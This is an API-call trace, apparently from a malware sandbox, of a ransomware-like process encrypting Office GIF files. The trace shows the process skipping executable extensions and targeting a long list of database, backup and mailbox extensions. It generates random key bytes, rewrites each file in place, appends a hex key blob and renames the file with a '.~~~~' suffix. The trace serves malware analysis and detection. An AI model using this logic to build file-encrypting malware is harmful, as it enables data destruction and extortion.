	[0142.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3418
	[0142.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3418 | out: hHeap=0x300000) returned 1
	[0142.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38de00
	[0142.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b910
	[0142.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38de00 | out: hHeap=0x300000) returned 1
	[0142.039] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.039] GetLastError () returned 0x0
	[0142.040] GetLastError () returned 0x0
	[0142.040] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.040] GetLastError () returned 0x0
	[0142.040] GetLastError () returned 0x0
	[0142.040] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x4c88, lpOverlapped=0x0) returned 1
	[0142.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffb378, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.055] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x4c88, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x4c88, lpOverlapped=0x0) returned 1
	[0142.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.056] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.056] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.056] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.056] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.056] CloseHandle (hObject=0x114) returned 1
	[0142.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0142.056] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif.~~~~")) returned 1
	[0142.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0142.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.059] GetLastError () returned 0x0
	[0142.059] RtlWakeConditionVariable () returned 0x0
	[0142.059] GetCurrentThreadId () returned 0x9cc
	[0142.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".scr") returned 0x0
	[0142.059] lstrlenW (lpString=".cmd") returned 4
	[0142.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".cmd") returned 0x0
	[0142.059] lstrlenW (lpString=".dll") returned 4
	[0142.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".dll") returned 0x0
	[0142.060] lstrlenW (lpString=".bat") returned 4
	[0142.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".bat") returned 0x0
	[0142.060] lstrlenW (lpString=".cpl") returned 4
	[0142.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".cpl") returned 0x0
	[0142.060] lstrlenW (lpString=".sys") returned 4
	[0142.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".sys") returned 0x0
	[0142.060] lstrlenW (lpString=".msc") returned 4
	[0142.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".msc") returned 0x0
	[0142.060] lstrlenW (lpString=".com") returned 4
	[0142.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".com") returned 0x0
	[0142.060] lstrlenW (lpString=".lnk") returned 4
	[0142.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".lnk") returned 0x0
	[0142.060] lstrlenW (lpString=".msp") returned 4
	[0142.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".msp") returned 0x0
	[0142.060] lstrlenW (lpString=".pif") returned 4
	[0142.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".pif") returned 0x0
	[0142.060] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.084] lstrlenW (lpString=".sqb") returned 4
	[0142.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".sqb") returned 0x0
	[0142.084] lstrlenW (lpString=".ost") returned 4
	[0142.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".ost") returned 0x0
	[0142.084] lstrlenW (lpString=".txt") returned 4
	[0142.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".txt") returned 0x0
	[0142.084] lstrlenW (lpString=".mdt") returned 4
	[0142.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".mdt") returned 0x0
	[0142.085] lstrlenW (lpString=".BDB") returned 4
	[0142.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".BDB") returned 0x0
	[0142.085] lstrlenW (lpString=".eql") returned 4
	[0142.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".eql") returned 0x0
	[0142.085] lstrlenW (lpString=".DBF") returned 4
	[0142.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".DBF") returned 0x0
	[0142.085] lstrlenW (lpString=".EQL") returned 4
	[0142.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".EQL") returned 0x0
	[0142.085] lstrlenW (lpString=".FDB") returned 4
	[0142.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".FDB") returned 0x0
	[0142.085] lstrlenW (lpString=".EDB") returned 4
	[0142.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".EDB") returned 0x0
	[0142.085] lstrlenW (lpString=".DACPAC") returned 7
	[0142.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.085] lstrlenW (lpString=".VHD") returned 4
	[0142.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".VHD") returned 0x0
	[0142.085] lstrlenW (lpString=".DBV") returned 4
	[0142.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".DBV") returned 0x0
	[0142.085] lstrlenW (lpString=".dacpac") returned 7
	[0142.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".dacpac") returned 0x0
	[0142.085] lstrlenW (lpString=".sdf") returned 4
	[0142.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".sdf") returned 0x0
	[0142.085] lstrlenW (lpString=".accdb") returned 6
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".accdb") returned 0x0
	[0142.086] lstrlenW (lpString=".DBX") returned 4
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".DBX") returned 0x0
	[0142.086] lstrlenW (lpString=".MDT") returned 4
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".MDT") returned 0x0
	[0142.086] lstrlenW (lpString=".SQB") returned 4
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".SQB") returned 0x0
	[0142.086] lstrlenW (lpString=".vhd") returned 4
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".vhd") returned 0x0
	[0142.086] lstrlenW (lpString=".bac") returned 4
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".bac") returned 0x0
	[0142.086] lstrlenW (lpString=".mdf") returned 4
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".mdf") returned 0x0
	[0142.086] lstrlenW (lpString=".BAK") returned 4
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".BAK") returned 0x0
	[0142.086] lstrlenW (lpString=".BAC") returned 4
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".BAC") returned 0x0
	[0142.086] lstrlenW (lpString=".dbs") returned 4
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".dbs") returned 0x0
	[0142.086] lstrlenW (lpString=".vhdx") returned 5
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".vhdx") returned 0x0
	[0142.086] lstrlenW (lpString=".NDF") returned 4
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".NDF") returned 0x0
	[0142.086] lstrlenW (lpString=".dat") returned 4
	[0142.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".dat") returned 0x0
	[0142.086] lstrlenW (lpString=".DBS") returned 4
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".DBS") returned 0x0
	[0142.087] lstrlenW (lpString=".CKP") returned 4
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".CKP") returned 0x0
	[0142.087] lstrlenW (lpString=".edb") returned 4
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".edb") returned 0x0
	[0142.087] lstrlenW (lpString=".PST") returned 4
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".PST") returned 0x0
	[0142.087] lstrlenW (lpString=".dbf") returned 4
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".dbf") returned 0x0
	[0142.087] lstrlenW (lpString=".SQL") returned 4
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".SQL") returned 0x0
	[0142.087] lstrlenW (lpString=".pst") returned 4
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".pst") returned 0x0
	[0142.087] lstrlenW (lpString=".dbv") returned 4
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".dbv") returned 0x0
	[0142.087] lstrlenW (lpString=".SDF") returned 4
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".SDF") returned 0x0
	[0142.087] lstrlenW (lpString=".dtxs") returned 5
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".dtxs") returned 0x0
	[0142.087] lstrlenW (lpString=".db3") returned 4
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".db3") returned 0x0
	[0142.087] lstrlenW (lpString=".OST") returned 4
	[0142.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".OST") returned 0x0
	[0142.087] lstrlenW (lpString=".dbx") returned 4
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".dbx") returned 0x0
	[0142.088] lstrlenW (lpString=".DB3") returned 4
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".DB3") returned 0x0
	[0142.088] lstrlenW (lpString=".DAT") returned 4
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".DAT") returned 0x0
	[0142.088] lstrlenW (lpString=".VHDX") returned 5
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".VHDX") returned 0x0
	[0142.088] lstrlenW (lpString=".ndf") returned 4
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".ndf") returned 0x0
	[0142.088] lstrlenW (lpString=".DB") returned 3
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".DB") returned 0x0
	[0142.088] lstrlenW (lpString=".sql") returned 4
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".sql") returned 0x0
	[0142.088] lstrlenW (lpString=".MYD") returned 4
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".MYD") returned 0x0
	[0142.088] lstrlenW (lpString=".DBT") returned 4
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".DBT") returned 0x0
	[0142.088] lstrlenW (lpString=".ACCDB") returned 6
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.088] lstrlenW (lpString=".fdb") returned 4
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".fdb") returned 0x0
	[0142.088] lstrlenW (lpString=".bak") returned 4
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".bak") returned 0x0
	[0142.088] lstrlenW (lpString=".myd") returned 4
	[0142.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".myd") returned 0x0
	[0142.088] lstrlenW (lpString=".DTXS") returned 5
	[0142.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".DTXS") returned 0x0
	[0142.089] lstrlenW (lpString=".ckp") returned 4
	[0142.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".ckp") returned 0x0
	[0142.089] lstrlenW (lpString=".dbt") returned 4
	[0142.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".dbt") returned 0x0
	[0142.089] lstrlenW (lpString=".db") returned 3
	[0142.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".db") returned 0x0
	[0142.089] lstrlenW (lpString=".TXT") returned 4
	[0142.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".TXT") returned 0x0
	[0142.089] lstrlenW (lpString=".MDF") returned 4
	[0142.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".MDF") returned 0x0
	[0142.089] lstrlenW (lpString=".bdb") returned 4
	[0142.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".bdb") returned 0x0
	[0142.089] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.089] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.090] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.090] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.091] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26208089678) returned 1
	[0142.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe184670, dwHighDateTime=0x1d60e1e)) 
	[0142.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3370
	[0142.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3370 | out: hHeap=0x300000) returned 1
	[0142.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0142.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0142.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0142.092] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.092] GetLastError () returned 0x0
	[0142.092] GetLastError () returned 0x0
	[0142.092] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.092] GetLastError () returned 0x0
	[0142.092] GetLastError () returned 0x0
	[0142.093] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x24dd, lpOverlapped=0x0) returned 1
	[0142.207] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffdb23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.207] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x24dd, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x24dd, lpOverlapped=0x0) returned 1
	[0142.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.207] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.208] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.208] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.208] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.208] CloseHandle (hObject=0x114) returned 1
	[0142.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f50d8
	[0142.208] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif.~~~~")) returned 1
	[0142.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0142.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
